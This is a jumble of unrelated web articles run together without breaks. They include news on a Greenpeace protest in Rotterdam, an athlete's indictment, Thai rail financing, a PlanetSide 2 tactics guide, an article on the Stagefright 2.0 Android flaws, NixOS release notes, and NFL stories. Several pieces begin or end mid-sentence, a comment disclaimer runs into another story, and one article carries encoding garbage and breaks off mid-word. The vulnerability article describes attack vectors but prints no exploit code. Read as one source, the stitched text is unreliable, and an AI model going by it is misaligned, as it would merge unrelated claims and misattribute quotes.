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ROTTERDAM, Netherlands, May 1 (Reuters) – Dutch police stormed a Greenpeace ship on Thursday to prevent environmental activists blocking delivery of the first oil from Russia's new Arctic drilling platform reaching port in Rotterdam.
The Rainbow Warrior was crewed by the activists who were detained last year by Russia in the Arctic, the campaign group said. Greenpeace is opposed to drilling in the Arctic Sea which it says risks causing a catastrophe in a fragile ecosystem.
Police said the activists had reneged on an agreement they had made with harbour authorities not to interfere physically with the ship during their protest.
A Reuters photographer said activists had draped banners saying "No Arctic Oil" from the Russian vessel.
"The Russian ship is very big, about 250 metres long, and there are safety concerns when you try and stop it mooring," Rotterdam police spokesman Roland Ekkers said.
He said the activists had been detained in a room on the Rainbow Warrior until it docked, when the captain was arrested. The oil-tanker Mikhail Ulyanov entered the harbour unhindered, and moored at about 0915 GMT.
"Arctic oil represents a dangerous new form of dependence on Russia's state-owned energy giants at the very moment when we should be breaking free of their influence," said Greenpeace executive director Kumi Naidoo in a statement.
Tensions between Russia and Ukraine have prompted many analysts to warn that Europe is over-dependent on Russian gas, with some saying that the continent's reliance on Russia for energy makes it too costly to impose sanctions on the country.
"Thirty of us went to prison for shining a light on this dangerous Arctic oil," Dutch activist Faiza Oulahsen said in the Greenpeace statement.
The vessel, which had come from the Russian Arctic port of Murmansk, according to Thomson Reuters data, is carrying some 70,000 tonnes of oil from Gazprom's Prirazlomanaya oil platform in the Arctic Pechora Sea. The platform was briefly occupied by Greenpeace activists last year.
They were arrested by Russian military forces and charged with piracy, carrying a potential prison term of decades, but released under an amnesty initiated by President Vladimir Putin.
(Reporting by Michael Kooren; Writing by Thomas Escritt; Editing by Louise Ireland)
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Generated by readers, the comments included herein do not reflect the views and opinions of Rigzone. All comments are subject to editorial review. Off-topic, inappropriate or insulting comments will be removed.Tanveer Hussain had been arrested in March on charges of sexually abusing a minor girl.
A 24-year-old Indian athlete has been indicted in the US on charges of sexually abusing a minor girl, days after he arrived from Kashmir for a snowshoe competition. Tanveer Hussain was indicted last week by an Essex County grand jury for allegedly having inappropriate contact with a 12-year-old Saranac Lake girl earlier this year.The grand jury returned the indictment charging Tanveer Hussain with one count of first-degree sexual abuse and two counts of endangering the welfare of a child, a report in the Adirondack Daily Enterprise quoted a press release from Essex County District Attorney Kristy Sprague as saying.Tanveer Hussain had been arrested in March on charges of sexually abusing the minor girl, two days after he competed in the World Snowshoe Championships at Dewey Mountain Recreation Center."Hussain is alleged to have subjected a 12-year-old female to sexual contact and engaged in inappropriate conversations with said child during the time he was in Saranac Lake," the report quoted Sprague as saying.The minor girl had told police that on the night of February, two days after the snowshoe race, Tanveer Hussain had kissed her twice and had groped her.The report added that Tanveer Hussain had previously denied the charges and declined a plea deal that would have let him return to India as he wanted to clear his name.Tanveer Hussain's lawyer Brian Barrett said that he was disappointed that Sprague announced the indictment in a press release before notifying him."This is all about the press. That's what this whole case is all about," he said.Tanveer Hussain had garnered much attention before arriving in the US for the snowshoe championship after the US Embassy in New Delhi had denied him and another athlete visas around the same time President Donald Trump had issued an order barring travel into the US from seven Muslim-dominant countries. Even though India was not among the seven countries, the denial of visa to Tanveer Hussain and the other athlete was seen associated with the executive order.FINANCING details of the Sino-Thai high speed train remain unresolved, although the two governments have agreed that the first phase of the new route will be the Bangkok to Nakhon Ratchasima route, said Minister of Transport Arkhom Termpittayapaisith in an exclusive interview with Thepchai Yong, group editor-in-chief of the Nation Multimedia Group.
Negotiation of loan terms continues with both sides holding different views about details related to Thailand borrowing funds from China to finance the 253-kilometre Bangkok-Nakhon Ratchasima route, which will need an estimated Bt179-billion investment.
“China wants to put tough conditions on the loan contract, demanding that the Chinese government could seize other assets of the Thai government if the Thai government defaults on debt repayments,” said Arkhom. Thailand proposes to borrow about 25 per cent of the total project cost.
China’s negotiators argued that it would apply the same conditions agreed to by the Lao government for financing a high-speed rail linking that nation to southern China. The Chinese government will be able to seize five mine assets if Vientiane fails to repay the debt.
“We, the Thai government, will not yield to China’s demand, because in our history we’re a very honest debtor and have never failed to pay back foreign debts. If China insists on this asset guarantee, we will not borrow from China,” Arkhom said.
China’s government is also demanding a high interest rate from Thailand, higher than it granted Indonesia for a similar project.
Given Thailand’s high credit rating for government bonds, the Thai government has been demanding a lower interest rate for the project, while the global financial market could provide relatively cheap loans if the government chooses that route.
The international rating agency Moody’s Investors Service has assigned a sovereign credit rating of Baa1 to Thailand and Baa3 to Indonesia. Standard and Poor’s and Fitch Ratings have also assigned an investment grade to Thailand two notches higher than that for Indonesian bonds.
Current yields of 10-year bonds issued by the Thai government are slightly over 2 per cent, comparing favourably with the nearly 7 per cent per annum of Indonesian government bonds.
“Our sovereign credit rating is higher than Indonesia and some other countries in the region,” Arkhom said.
Thailand needs to import rolling stock, rail tracks and a rail traffic-light system, all made in China. The two sides have put aside the financial issue for the moment, as they still have time for further negotiations.
Arkhom also defended criticism of the government for rushing to yield to Chinese pressure by resorting to the powerful Article 44 of the interim constitution. Prime Minister Prayut Chan-o-cha used the clause to overrule normal laws, allowing the deal to be concluded after several rounds of negotiations.
According to the normal legal process, Chinese engineers would first have to pass tests in the Thai language before they could get licences to work in the country, but the Article 44 invocation overruled that condition. However, the government was being very careful in doing the deal with China, Arkhom said.
Arkhom said about 100 Chinese engineers would work on the project, and Thai people should not worry about a large number of Chinese workers taking jobs from Thai workers.
The route is divided into four sections, with construction on the first 3.5 kilometres planned to start in October. After the first contract is signed, the two sides will start to work on a construction plan for the second phase, the 355-kilometre section from Nakhon Ratchasima to Nong Khai province, Akhom said.
The high-speed rail service between Bangkok and Nakhon Ratchasima would start around 2021 or 2022, he added. Then the service between Nakhon Ratchasima to Nong Khai province will open in 2022 or 2023, the same year as the route from southern China to Laos starts service.
Arkhom said he expected China would transport both goods and tourists via high-speed rail, as it could export its products to deep seaports on the eastern coast of Thailand.
He admitted it might take 30 years or longer before financial returns would be positive. However, a fast service would greatly boost economic returns, he said.
He added that he expected that the fare between Bangkok and Nakhon Ratchasima would be Bt535 per trip and would take about 90 minutes. The total travel time between Bangkok and Nong Khai would be about three hours.
Meanwhile, Suwit Rojanavanich, director-general of public debt management, said the Finance Ministry had recently borrowed Bt1.7 billion on the local market to pay a Chinese firm responsible for detailed construction of the Bangkok-Nakhon Ratchasima portion of the railway.There are hundreds of posts available on the internet about photo manipulation. Today, we are posting another post that probably will make you look twice. In this post we are listing 23 Stunning Examples Of Digital Art & Manipulation. I appreciate to all those talented designers who created these excellent graphics with their efforts, imaginations and creativity to give us a chance to see these wonders. This list is not long in numbers but I promise you that when you start browsing them in details it will surely refresh you and force you to know more about these designers. These are the mind-blowing creations of creative designers who use their creativity with a different angle and approach to get the result that makes a difference.
You are welcome if you want to share more Digital Art & Manipulation that our readers/viewers may like. Do you want to be the first one to know the latest happenings at smashingApps.com just subscribe to our rss feed and you can follow us on twitter as well. Click on the images to go from where the images has been taken and learn more about their creators and to appreciate them.
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Dream In a Puddle 2 by pixelcriminal
Portrait Manipulation by rosarioagro
Flower Manipulation by ladyrapid
I Love Art by degodson
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Girl Photo Manipulation by Yamshi
Please don’t go tonight by vampire-zombie
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Apple Manipulation by 420-GFX
Renault Logan by Adhemas Batista
Velocity Manipulation by =HYPD
Exploding Pets Kim Jerbo
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Carved Work by Dragonfly113
Twinkle by starfantazy
Photomanipulation by David Waters
And Then There Was Light by valse-des-ombres
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Illlustrated Girl Alberto Seveso
Twitter Angels Charis Tsevis
2030AD by Jeff HuangPlease note all diagrams in this post are added as a visual aid only and should not be taken to represent exact troop deployments, enemy movements or base design. I play TR so allies will always be red unless specifically stated otherwise.
During Operations when not engaging larger enemy forces on the edge of a zerg we in MoX will often find ourselves alone at a base, having either resecured it from the enemy, or attempting to capture it for some wider strategic goal.
Here one of the most serious threats we face is an enemy galaxy transport dropping a squad of enemy troops on the base.
When loaded enemy galaxies approach you can be sure that they will often contain a motivated and organised enemy force inside, who are likely to be communicating and wish for nothing more than to evict you and claim the base for their own. These attacks have become more frequent on lattice controlled continents as outfits attempt to find avenues of attack and opportunities for combat away from a large scale grindfest at a choke point or biolab.
This guide will explore their common methods of attack, as well as exploring some ways of defeating the enemy.
The Calm before the storm – Initial deployment before an enemy is sighted
It is important to note whether the base you are currently occupying is technically controlled by friendly or hostile forces, as the question of who can easily spawn at the location will affect both your initial deployment, and other actions if you are engaged by the enemy.
Regardless of who controls the base, the first and most important point to note is to always be prepared for an enemy contact, no matter how little time you expect to spend at the base.
If your empire controls the base then your forces are free to concentrate solely on external threats, and units. you should quickly identify which direction the enemy is likely to come via land, and also be sure to watch the skies in the direction of the enemy Warpgate, as this is the direction a hostile Galaxy drop will approach from.
You should also identify whether the control point is directly defensible (most commonly indoors), or whether it is exposed and difficult to defend, as this will influence your decision whether to defend the control point directly or defend tactically strong area adjacent to the control point ensuring you are able to have the upper hand against any enemy threatening the control point.
If you do choose to defend the control point directly then it is often a good idea to detach one or two squad members to watch the outside area and report any enemy contacts. These players then are able to form a flanking force if you decide to allow the enemy to assault the control point directly with the intention of meeting them at any choke points you may have defended.
The concept of defending from a nearby location is one which will be explored more fully in a later post but simply put it revolves around the principle of drawing the enemy into tactically inferior ground (the exposed control point), ambushing and destroying them.
If the base is controlled by the enemy, in addition to worrying about the above concerns you must also be ready to suppress the enemy spawn room, as this is where contact is most likely to occur. Normally a squad would take a forward position to engage any enemies who do spawn at the base, while leaving the small observation team to keep watch for external threats.
In either scenario it is also worth ensuring you have as many spawn locations as is reasonably obtainable. A spawn beacon is a must, as is a sunderer, especially if an enemy empire controls the base, in which case it should be deployed with a view to safety. If you are deploying a second Sunderer, or your empire already controls the base then a Sunderer deployed in a more convenient location close to the control point may be useful both as a spawn and a distraction for the enemy.
Incoming! – what to do and what you know once you have spotted an enemy Galaxy.
When you spot an enemy Galaxy heading to your location you initially have several advantages over the enemy, unfortunately several of which are often squandered in the opening seconds of the engagement.
These advantages are:
You know the direction the enemy is coming from
You know the enemy numbers (Make sure you keep eyes on the enemy galaxy until you notice the /12 icon)
You know their objective, to capture or re-secure the base.
You know where they drop (assuming you were watching the enemy until the drop, and even if not it is likely they dropped as close to the control point as possible)
You are in a position to decide when and where the opening shots of the engagement will be fired.
You know the enemy is likely to be an organised outfit and actively communicating on Teamspeak
The enemy do not know your numbers
The enemy do not know your initial positions
If you are a single squad in the base then the enemy will see a 1-12 enemies detected reading on the base and may be off guard and expecting a “ghost cap” (an attentive enemy may watch the population pie chart when they enter the hex and see through this disguise)
The enemy do not know your quality and it may take them some time to realise they are facing an organised outfit.
The biggest mistakes you can make when spotting enemy galaxies is to instantly engage when you do not have the firepower to quickly and reliably destroy the enemy aircraft before they arrive at the base. Failure to destroy the aircraft, reveals your position and the fact that the base is actively defended, robbing you of any surprise you may have initially enjoyed. It is up to you as a squad leader to enforce fire discipline and decide whether to open fire upon the enemy aircraft or allow the enemy to drop and then engage.
As with many aspect of player behaviour in game a galaxy drop will often follow a basic set of rules, be aware however that as you are likely fighting an outfit and not an unco-ordinated zerg so their behaviour will not be as predictable.
The Galaxies will approach from the warpgate in a straight line with occasional deviation if their route takes them over heavily contested territory. Therefore we can predict the route the enemy will approach from.
The enemy will drop over or close to the control point and then move en-masse to the control point in an attempt to quickly flip it. (A more intelligent enemy may move to defensive locations surrounding the control point in anticipation of a counterattack.)
The enemy may attempt to spawn a Sunderer (by dispatching an infiltrator to a vehicle terminal if the base is controlled by your empire). In addition a squad leader may detatch to place a spawn beacon.
Once the point is secured the enemy will attempt to fortify the area against attack and wait for the timer to finish its progress.
The galaxy will often be discarded after troops are dropped. If this is not the case then it may be a Bulldog armed “Galaxy Gunship” which should be treated with caution.
Obviously we will wish to prevent the enemy from achieving their objectives and having deployed our forces effectively stand an excellent chance of doing so. The enemy will behave differently depending on which empire controls the base initially. If the base is friendly then the enemy must succeed with their first assault, as each casualty will have very limited options to respawn (Typically Spawn Beacon and Squad deploy).
If however the enemies empire owns the base then they may choose to spawn at the base’s spawn room. Depending on the base this can be a very dangerous time for you, as the enemy may be presented with the opportunity to flank or locate and destroy your spawn locations while you are engaged with the remainder of their assault force. Once the initial assault has been defeated in this scenario the action will shift to a typical base fight though likely a challenging one.
Dealing with the assaulting enemy forces is always much easier if you have retained the element of surprise, as the enemy are unlikely to initially use their special grenades in the first wave, are likely to be less alert, and are may suffer casualties as they fall victim to your initial defenses. the most major threat to you in the early stage will commonly be the MAX crash, to counter this you should always assume one is coming and take steps to defend against it such as C4 traps or heavys with dumbfire launchers. It is important if you do wish to mine the entrance to a building that you place these devices out of the enemy’s line of sight, as they have the potential to alert the enemy to your presence.
Example 1: defence of an indoor control point with defensible entrances.
It is assumed that the friendly squad has not alerted the enemy to their presence before they open fire defending the control point from their internal position. In most cases the enemy will attempt to enter via the same door and move rapidly to the control point. Meeting resistance at the choke points, the enemy will often attempt to force entrance your squad should be in a good position to halt this advance, detonating any traps as necessary. Once the enemy is committed the spotting team can move into a fire position at the enemy’s flank or rear to aid in their destruction.
Example 2: Defence of an exposed external point.
It is again assumed that no contact has been made with the enemy until such time as we open fire. In these situations the enemy will most often drop directly on to the point where they will be exposed to your squad deployed in cover with line of sight on the control point. The enemies that survive the initial encounter are then faced with a difficult assault on a strong position(s). They are faced with the choice of conducting an immediate assault on your position, or falling back to their own strong position and returning fire. In my experience most forces choose the former where they should be easy prey in their weakened state. If the enemy drop in a location away from the control point they should be allowed to approach in quickly and a group. The squad will then open fire from superior positions destroying the enemy as they approach or flip the point.
In both these examples forces should also be detached to cover the spawn room if the enemy has chance to spawn there and prevent a flanking maneuver, and then advance to contain the enemy or defend in a manner you are comfortable with as the focus of the battle shifts to a standard attacker v defender fight.
Hostile galaxies in a larger fight (alongside a friendly zerg)
Tactics and opportunities change somewhat when encountering a hostile galaxy drop in a larger engagement, as the stealthy tactics mentioned in the above examples will not work.
It is important to recognise, assess and respond to the threat effectively, as the enemy is still likely to be organised, and with the wide range of deployment options the galaxy presents them with, are likely to be able to turn the tide of battle in the enemy’s favour if not swiftly dealt with.
In this situation it is often wise to pull your squad back regroup and observe the Galaxy’s drop location and the enemy’s movements then you are in a position to counter those movements or provide the backbone of a strong defensive position should the enemy push your allies back. A more in-depth guide on aiding a friendly zerg can be found here https://squadside.wordpress.com/2013/08/04/facilitating-the-zerg/
Enemy drop in a flanking position:
In my opinion this is the most dangerous of the enemy’s options. The enemy will drop in a strong location and then proceed to suppress and destroy you and your allies, robbing your forces of their momentum and providing their own allies with the support necessary to advance and take the initiative. You should attempt to neutralise the enemy flanking force either through directly destroying them with your own squad, or via distracting them and suppressing their position so that they are rendered ineffective while they try to engage you.
Sunderer drop
A common option for lone drop pods aswell as a full galaxy is to drop on your Sunderer in an attempt to destroy it. While these drops are often little more than suicide missions and easily destroyed, they are also very hard to defend against effectively once the enemy troops have been dropped. Possibly the simplest solution to this problem is to ensure that you have ample spawn points and that another Sunderer is brought forward to support the attack should you ever be left with only one
Point Drop
An enemy Galaxy dropping troops on the control point during a larger engagement may often be less of a threat than the other objectives as the enemy squad is often quickly crushed by numerically superior forces.
However there are exceptions. A well organised and specialised squad of anti infantry MAX’s and associated support troops can be successful in both locking down the point and diverting a significant number of allied troops away from the remainder of the enemy force. This action can often allow a beleaguered enemy to regain the advantage and flank your allies who are now preoccupied by the enemy force occupying the control point. This flanking attack will often be the downfall of your allies, and your squad should assess whether your forces would be best used to hold back the enemy’s threatening your flank, directly aid your allies in resecuring the control point if you suspect the enemy to be weak, or to pull back and create the foundation of a new defensive point should the enemy force be judged to be overwhelming.
Reverse engineering
Many of these Tactics and techniques can be explored in your favour if you are performing your own Galaxy drop. It is always a good idea to think in your enemies shoes in any engagement, deduce how you would counter your own moves and take steps to prevent such an event occurring.
AdvertisementsA billion Android devices vulnerable to Stagefright 2.0 bugs
A billion Android phones are vulnerable to Stagefright 2.0 flaws that could be exploited by attackers to execute malicious code on the targeted device.
Do you remember the Stagefright vulnerability? In July 2015, security experts from Zimperium discovered the Stagefright flaw in the popular Google Android OS which allows hackers to gain control of the system without raising suspicion.
At the time of the discovered it has been estimated that the Stagefright flaw was potentially affecting 95% of Android devices running version 2.2 to 5.1 of the Google OS (roughly 950 million smartphones). Experts at security firm Zimperium announced the Stagefright vulnerability as the worst Android flaw in the mobile OS history.
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The Stagefright flaw affects a media library app that is used for by Android to process Stagefright media files. According to the experts at Zimperium the media library is affected by several vulnerabilities.
A few weeks ago, Zimperium experts have publicly released the Stagefright Exploit, demonstrating how to trigger the Remote Code Execution (RCE). The researchers implemented the Stagefright Exploit in python by creating an MP4 exploiting the ‘stsc’ vulnerability, aka Stagefright vulnerability.
“We are pleased to finally make this code available to the general public so that security teams, administrators, and penetration testers alike may test whether or not systems remain vulnerable. What follows is a python script that generates an MP4 exploiting the ‘stsc’ vulnerability otherwise known as CVE-2015-1538 (#1).” states Zimperium.
Now, it seems that a billion Android phones are vulnerable to new Stagefright vulnerabilities, dubbed Stagefright 2.0, that also in this case could allow attackers to execute malicious code on the targeted device.
Stagefright 2.0 vulnerabilities have been discovered by Zimperium, in particular, the experts discovered two bugs that are triggered when processing specially crafted MP3 audio or MP4 video files.
“The vulnerability lies in the processing of metadata within the files, so merely previewing the song or video would trigger the issue. Since the primary attack vector of MMS has been removed in newer versions of Google’s Hangouts and Messenger apps, the likely attack vector would be via the Web browser.” states the blog post published by Zimperium.”
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A first vulnerability affects the libutils library (CVE-2015-6602) in every Android version since 1.0. The vulnerability can be exploited even on the latest Android releases by triggering a second vulnerability in libstagefright, a library used in the Google mobile OS to process media files.
An attacker can use booby-trapped audio or video files to execute malicious code on the victim’s device, even if the Android device is running Android 5.0 or later. Devices running 5.0 or earlier can be similarly in a similar way when they use the flawed function implemented in the libutils.
The post published by Zimperium includes the description of attack scenarios:
An attacker would try to convince an unsuspecting user to visit a URL pointing at an attacker controlled Web site (e.g., mobile spear-phishing or malicious ad campaign) An attacker on the same network could inject the exploit using common traffic interception techniques (MITM) to unencrypted network traffic destined for the browser. 3rd party apps (Media Players, Instant Messengers, etc.) that are using the vulnerable library.
Google representatives have declared that the Stagefright 2.0 vulnerabilities will be fixed in the next update scheduled for release next week, but you have to consider that it may take time before your system is up to date Android.
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Once Google issue the update, it could take days for it to become available to users of Google devices depending on the vendors.“If I get out of control and start leveling baseless charges,” Glenn Beck claimed on his Fox News Channel show Monday, “guess what happens? I’m fired.”
But that evidently didn’t stop him from later accusing President Barack Obama of allegedly refusing to meet with BP’s CEO because the British oil giant’s top executive is white.
The Fox News host played a clip of President Obama declaring, “My experience is when you talk to a guy like a BP CEO, he’s going to say all the right things to me. I’m not interested in words, I’m interested in action.â€Â
He then went on to rebuke Obama for saying he’d meeting with the president of Iran, but not the chief of BP.
Lampooning Obama, Beck remarked, “I’ll meet with Mahmoud Ahmadinejad… without any preconditions because we have to be able to talk… We’ll sit down, have some tea, some crumpets… Yeah, you’re a raging lunatic but we can get through to you and trust you. Now, the BP CEO? Depart from me, evil one!â€Â
“What is it that the dictator of Iran… has in the credibility department that the CEO of BP doesn’t have?†Beck quipped.
No, Beck signaled.
“He’s a white CEO,” Beck remarked. “Maybe that’s it… White CEO’s… they donââ
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to the underground world home to billions of microscopic creatures.
That first peek inside, recently published in the Proceedings of the National Academy of Sciences, may well explain how the number of species in an ecosystem changes the way it functions.
"The organisms that live in soil do all kinds of important things for us -- they decompose and decontaminate our waste and toxic chemicals, purify our water, prevent erosion, renew fertility," said BYU biology professor Byron Adams, a study coauthor. "But we know very little about how they do this. What species need to be present? What are the different jobs that we need them to do?"
For their analysis, Adams and his colleagues took 16 soil samples from all reaches of the globe, from Antarctica to tropical forest locations, extracted the DNA out of all the organisms in each sample, and sequenced it.
With information about the genome (the complete set of its DNA and all of its genes) of each microbe in the soil, the researchers were able to see which organisms do what, and whether or not their functional roles are redundant or unique.
"People think you're going to pick up a handful of dirt anywhere in the world and you'll pretty much have the same bunch of microbes doing pretty much the same things," Adams said. "That's simply not true. They function very differently based on their environment. And when you have more species, you get more, and different functions."
Having several different species that do the same job might mean that if one species goes extinct then the others can pick up the slack. On the other hand, in ecosystems like deserts, where there are few species and even fewer jobs, removing some species could result in collapse, or failure of the ecosystem to provide the services we need.
Understanding the relationship between biodiversity and the different jobs that soil microbes do is a first step towards understanding how to better harness these organisms in order to prevent the collapse of the very systems that provide critical ecosystem services, such as fertile soil and clean water.
"The most obvious applications of this understanding will probably be in agricultural ecosystems," Adams said.
A better understanding of below-ground ecosystems can help humans predict how those systems will respond to things such as climate change or perturbations to the soil from mining, drilling or waste. And, hopefully, that understanding can help prevent agricultural or environmental catastrophes.
"We've been walking around on soil since the beginning of time and never really knew what was going on underneath us," Adams said. "Now we will be able to make predictions of how ecosystems function, what causes them to collapse, and perhaps even predict, where collapses will take place and how we can prevent them."
The lead author on the study was Noah Fierer, an associate professor of Ecology and Evolutionary Biology at the University of Colorado, Boulder.
The researchers' data also may have something to say about how new species form. For centuries it was thought that geographic barriers (like mountains, peninsulas, rivers and deserts) were the primary engines of speciation. However, it could be that interactions with other species are just as important.
The authors believe this study will open up significant additional research addressing speciation and the evolution of microbial communities.The good news of Jesus isn’t just that Jesus loves me. Of course that’s part of it, but the rabbit hole of God’s love goes way deeper than that. The really radical gospel message is this: God loves my enemies. To be like Jesus, I have to love my enemies, too.
I often don’t let this sink in enough: the incomprehensible nature of God’s love. The message that Jesus loves me, that he loves those whom I love – that’s nothing special. Any God, any religious system is going to provide that. In any human religion, the center of the moral universe is always me and mine. But Jesus points completely beyond me. His message removes me as the center of the moral universe. God himself becomes the center.
The God that Jesus points to doesn’t belong to me. He doesn’t belong to those whom I deem good people. He’s the God of all people, all creatures, all creation. God sends rain on the righteous and unrighteous alike.
God loves my enemies as much as he loves me. Even when they’re hurting me. God loved the enemies of Jesus, even as they were nailing him to the cross. Jesus loved his enemies so much, he was willing to lay down his life and to suffer a shameful death.
To me, that’s still incomprehensible. I have to admit, I don’t get it. To write these words is one thing; digesting their truth is another.
What it will take for me to truly believe and embrace that God loves my enemies? Jesus died for his enemies. If I’m going to be like Jesus, I have to be willing to die for my enemies.
I must be prepared to lay down my life. Not because I have to, and not because I feel guilt. Certainly not because I feel righteous. I must be ready to give up everything out of love for those who hurt, betray, and steal from me. If I am to be like Jesus, I must love those who threaten me.
That’s a tough pill to swallow. It doesn’t just feel superhuman and supernatural, but inhuman and unnatural. Nothing in my genetic makeup encourages me to love my enemies, and to pray for those who persecute me. There’s no natural instinct to risk myself for the sake of those who hate me.
And yet that’s exactly what God calls us to do. What seems natural to us, what has become natural in this fallen world, is in fact unnatural. God created the universe good, in unity with itself and with the Creator. But we live in a broken version of the love and symbiosis that God built into the creation.
The fallenness of our present reality manifests itself in how we respond to enemies. In this broken nature, forgiveness is impossible. Violence and hate are easy. It’s hard to act on what we know is right.
I need God’s guidance to respond to this world with love. I need the Spirit’s help to be able to tell the difference between justice and vengeance. I need God’s grace to see the face of Jesus in those who disappoint me, make me uncomfortable, and threaten my life.
For me, this will mean baby steps. I want to embrace Jesus’ courage on the cross, to ask God’s forgiveness for those who want to attack and kill me. But I should probably start by forgiving those who stole my lawnmower.
I need to be faithful in small things if I want to be prepared for big challenges.
Most of all, I need others to be Christ to me. I need people in my life who forgive me when I’ve done them wrong. People who show kindness to me when I’ve intended evil to them. My salvation is linked to those who show the love of Jesus when I’m only filled with hate.
I thank God for the way that he reaches out to me through others. I’m grateful for those who shine God’s light on both the righteous and unrighteous. Even when the unrighteous person is me.
Related Posts:The man approaching a Yates Street business with a can of blue spray paint probably didn’t expect to be so clearly caught on camera.
Unlucky for him, his unwanted art on the side of the building in the 700-block of Yates Street was right in the frame of a surveillance camera. The incident happened on Aug. 15 at about 2:30 a.m. but Victoria police are now circulating the footage hoping someone will recognize the tagger.
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He almost turns directly to the camera as he spray paints a word on the glass doors.
The man is Caucasian, about 25- to 30-years-old. He was wearing a grey tweed hat, blue jeans, a purple short-sleeve button-up shirt and blue jeans. He was carrying a black backpack.
Anyone with information on this tagger is asked to contact the department’s graffiti co-ordinator, Const. Franco Bruschetta at [email protected] 18.09 released
NixOS 18.09 “Jellyfish” has been released, the tenth stable release branch. See the release notes for details. You can get NixOS 18.09 ISOs and VirtualBox appliances from the download page. For information on how to upgrade from older release branches to 18.09, check out the manual section on upgrading.
Fastly supports NixOS
We are happy to announce that we have moved our binary cache to Fastly. Fastly is a big supporter of open source projects and now NixOS is one of them! Fastly provides us with CDN capability, which previously was running on AWS CloudFront. Big thanks go to Fastly, in particular Tom Denniston and Elaine Greenberg, our friends at Infor and Packet.net and Graham Christensen for making this possible.
Nix 2.1 released
Nix 2.1 has been released. See the release notes for a list of changes and new features.
NixOS Discourse forum
The nix-devel mailing list is now replaced by our discourse forum instance which is also usable by email: discourse.nixos.org.
NixCon 2018
We're happy to announce that NixCon 2018, the third Nix Conference, will take place October 25-27 2018 in London For more information, see the NixCon 2018 website. And please consider submitting a talk!
NixOS 18.03 released
NixOS 18.03 “Impala” has been released, the ninth stable release branch. See the release notes for details. You can get NixOS 18.03 ISOs and VirtualBox appliances from the download page. For information on how to upgrade from older release branches to 18.03, check out the manual section on upgrading.
Nix 2.0 released
Nix 2.0 has been released. See the release notes for a list of changes and new features.
NixOS 17.09 released
NixOS 17.09 “Hummingbird” has been released, the eigth stable release branch. See the release notes for details. You can get NixOS 17.09 ISOs and VirtualBox appliances from the download page. For information on how to upgrade from older release branches to 17.09, check out the manual section on upgrading.
Nix-dev mailing list moved
The nix-dev mailing list has moved to nix-devel on Google Groups.
NixCon 2017
We're happy to announce that NixCon 2017, the second Nix Conference, will take place October 28–31 2017 in Munich For more information, see the NixCon 2017 website. And please consider submitting a talk!
NixOS 17.03 released
NixOS 17.03 “Gorilla” has been released, the seventh stable release branch. See the release notes for details. You can get NixOS 17.03 ISOs and VirtualBox appliances from the download page. For information on how to upgrade from older release branches to 17.03, check out the manual section on upgrading.
NixOS 16.09 releasedThe Cleveland Browns will move on from Johnny Manziel just two seasons after they drafted him in the first round.
NFL Media Insider Ian Rapoport reported Tuesday the team will cut Manziel when the new league year begins March 9.
Per league rules, the Browns can't cut Manziel until next week at the earliest. Rapoport reported the Browns have $20 million in salary-cap space for 2015, which carried over to 2016. Manziel, however, has guarantees in his contract, and the Browns need space to absorb the cap hit in 2015. Currently, they have no space, which is why they will wait for the league year to start.
Browns executive vice president of football operations Sashi Brown released a statement Tuesday regarding Manziel's most recent off-field incident.
"We've been clear about expectations for our players on and off the field," Brown said. "Johnny's continual involvement in incidents that run counter to those expectations undermines the hard work of his teammates and the reputation of our organization. His status with our team will be addressed when permitted by league rules. We will have no further comment at this time."
Rapoport previously reported that when new coach Hue Jackson took over the team, Manziel's fate was sealed.
Brown's statement makes that eventuality clearer.
Manziel is being investigated for an alleged incident with a 23-year-old female, police in Fort Worth, Texas, said in a statement Saturday. The alleged incident occurred late Friday evening at an apartment complex in Fort Worth.
According to the statement, officers responded to a report of a possible assault and made contact with the woman, who was unrelated to the caller. The complainant stated she was involved in a disturbance with Manziel, her ex-boyfriend, earlier in the evening in Dallas. The officers were unable to locate a crime scene within the Fort Worth jurisdiction.
After the complainant told officers she was concerned for Manziel's personal well-being, they attempted to locate him by calling his cell phone, and by checking locations in the area. They also deployed a helicopter to search for Manziel. Following the search, it was determined Manziel was safe and in no danger.
The Fort Worth Police Department continues to work with the Dallas Police Department to determine if a criminal offense occurred.
"We are aware and looking into it," an NFL spokesman said Saturday. NFL security plans to contact Manziel's ex-girlfriend and her family as part of their investigation into the incident, Rapoport reported.
This marks the latest of several incidents involving Manziel as a member of the Browns. The team announced last month that it had fined the second-year quarterback for missing a scheduled medical treatment on the final Sunday of the season.
Manziel was also benched ahead of a Week 12 matchup with the Ravens after a video surfaced of the quarterback partying at a club in Austin, Texas. A week prior to that, Manziel was cleared of wrongdoing in a roadside incident involving his girlfriend. During the 2015 offseason, he spent 10 weeks in a rehab facility specializing in alcohol and substance abuse.Despite having his quarterback gig snatched by Jimmy Clausen, Jay Cutler still had a presser today, and he handled it like a normal human being. Everyone would love to let you know how mature and nice he was after losing his job. He's smiling! He's joking!
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I'm not really sure when Cutler was ever immature during this Bears implosion. Is being angry after throwing an interception immature? He wasn't the one who went anonymous and threw his coworker under the bus. And he has a history of being shit upon. Remember when he sprained his knee in the 2011 NFC Championship game and couldn't come back, and his teammates made him cry, then everyone questioned how much he cared? (And remember when ESPN somehow came up with this?)
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What Cutler's doing now is distancing himself. If the Bears want to start Jimmy Clausen, cool. Cutler's going to hang back and salvage his trade value so he doesn't have to be anywhere near this mess. He's waiting it out. Sure, I'll say I can still play under Marc Trestman next season, because we both know that's not going to happen. What's one more hit to the most-sacked Bears quarterback in history?Ireland has accidentally legalised ecstasy, crystal meth and ketamine.
A legal loophole means that you cannot be arrested for possession until the new legislation is passed.
It does not affect existing laws regarding the supply, possession or the sale of older, more established drugs such as heroin or cocaine, just newer ones.
The Irish minister for health is introducing emergency legislation on Tuesday night to close the loophole.
A government spokesperson said: "It is now important from both a public health and criminal justice perspective that the legislation be enacted as soon as possible."
Ireland's 1977 Misuse of Drugs Act was found unconstitutional by the Irish Court of Appeal on Tuesday morning because both houses of Irish parliament had not agreed to the new additions, meaning that the drugs currently prohibited by the Act are legal.
This includes up to 100 drugs, including "legal highs". Health Minister Leo Varadkar said: "All carry health risks... and can lead to death."
Follow @BBCNewsbeat on Twitter, BBCNewsbeat on Instagram and Radio1Newsbeat on YouTubeTo tokenize or not to tokenize that is the question...
Jonathan Nelson Blocked Unblock Follow Following Nov 20, 2017
tokenize ||!tokenize
Amy Y. Wan posted a great question a few days ago on LinkedIn:
Should you use blockchain tokens in your project?
Here’s a few questions that might be helpful in answering that question:
Do you need multiple parties to track something? EG logistics, international trade, escrow services...
Do you need massively distributed computing / storage? EG filecoin or storj that let people rent out hard drive storage, render farms...
